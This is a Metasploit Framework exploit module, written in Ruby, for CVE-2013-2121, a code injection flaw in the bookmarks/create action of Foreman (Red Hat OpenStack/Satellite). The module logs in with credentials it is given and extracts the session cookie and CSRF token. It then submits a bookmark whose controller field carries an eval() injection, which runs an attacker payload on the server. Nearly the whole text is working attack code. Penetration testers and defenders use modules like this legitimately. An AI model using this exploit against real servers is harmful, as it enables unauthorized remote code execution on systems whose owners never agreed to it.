Merge branch 'master' of https://github.com/rapid7/metasploit-framework
jvazquez-r7
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit4 < Msf::Exploit::Remote
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include Msf::Exploit::Remote::HttpClient
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def initialize
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super(
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'Name' => 'Foreman (Red Hat OpenStack/Satellite) bookmarks/create Code Injection',
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'Description' => %q{
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This module exploits a code injection vulnerability in the 'create'
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action of 'bookmarks' controller of Foreman and Red Hat OpenStack/Satellite
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(Foreman 1.2.0-RC1 and earlier).
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},
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'Author' => 'Ramon de C Valle',
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'License' => MSF_LICENSE,
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'References' =>
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[
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['CVE', '2013-2121'],
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['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=968166'],
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['URL', 'http://projects.theforeman.org/issues/2631']
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],
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'Platform' => 'ruby',
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'Arch' => ARCH_RUBY,
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'Privileged' => false,
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'Targets' =>
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[
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['Automatic', {}]
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],
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'DisclosureDate' => 'Jun 6 2013',
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'DefaultOptions' => { 'PrependFork' => true },
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'DefaultTarget' => 0
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)
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register_options(
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[
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Opt::RPORT(443),
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OptBool.new('SSL', [true, 'Use SSL', true]),
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OptString.new('MYUSERNAME', [true, 'Your username', 'admin']),
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OptString.new('MYPASSWORD', [true, 'Your password', 'changeme']),
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OptString.new('TARGETURI', [ true, 'The path to the application', '/']),
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], self.class
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)
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end
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def exploit
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print_status("Logging into #{target_url}...")
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res = send_request_cgi(
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'method' => 'POST',
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'uri' => normalize_uri(target_uri.path, 'users', 'login'),
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'vars_post' => {
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'login[login]' => datastore['MYUSERNAME'],
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'login[password]' => datastore['MYPASSWORD']
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}
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)
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fail_with(Exploit::Failure::Unknown, 'No response from remote host') if res.nil?
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if res.headers['Location'] =~ /users\/login$/
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fail_with(Exploit::Failure::NoAccess, 'Authentication failed')
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else
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session = $1 if res.headers['Set-Cookie'] =~ /_session_id=([0-9a-f]*)/
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fail_with(Exploit::Failure::UnexpectedReply, 'Failed to retrieve the current session id') if session.nil?
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end
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print_status('Retrieving the CSRF token for this session...')
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res = send_request_cgi(
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'cookie' => "_session_id=#{session}",
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'method' => 'GET',
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'uri' => normalize_uri(target_uri)
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)
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fail_with(Exploit::Failure::Unknown, 'No response from remote host') if res.nil?
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if res.headers['Location'] =~ /users\/login$/
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fail_with(Exploit::Failure::UnexpectedReply, 'Failed to retrieve the CSRF token')
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else
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csrf_param = $1 if res.body =~ /<meta[ ]+content="(.*)"[ ]+name="csrf-param"[ ]*\/?>/i
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csrf_token = $1 if res.body =~ /<meta[ ]+content="(.*)"[ ]+name="csrf-token"[ ]*\/?>/i
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if csrf_param.nil? || csrf_token.nil?
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csrf_param = $1 if res.body =~ /<meta[ ]+name="csrf-param"[ ]+content="(.*)"[ ]*\/?>/i
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csrf_token = $1 if res.body =~ /<meta[ ]+name="csrf-token"[ ]+content="(.*)"[ ]*\/?>/i
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end
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fail_with(Exploit::Failure::UnexpectedReply, 'Failed to retrieve the CSRF token') if csrf_param.nil? || csrf_token.nil?
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end
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payload_param = Rex::Text.rand_text_alpha_lower(rand(9) + 3)
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print_status("Sending create-bookmark request to #{target_url('bookmarks')}...")
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res = send_request_cgi(
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'cookie' => "_session_id=#{session}",
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'method' => 'POST',
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'uri' => normalize_uri(target_uri.path, 'bookmarks'),
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'vars_post' => {
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csrf_param => csrf_token,
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payload_param => payload.encoded,
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'bookmark[controller]' => "eval(params[:#{payload_param}])#",
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'bookmark[name]' => Rex::Text.rand_text_alpha_lower(rand(9) + 3),
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'bookmark[query]' => Rex::Text.rand_text_alpha_lower(rand(9) + 3)
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}
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)
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end
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def target_url(*args)
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(ssl ? 'https' : 'http') +
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if rport.to_i == 80 || rport.to_i == 443
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"://#{vhost}"
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else
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"://#{vhost}:#{rport}"
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end + normalize_uri(target_uri.path, *args)
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end
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end
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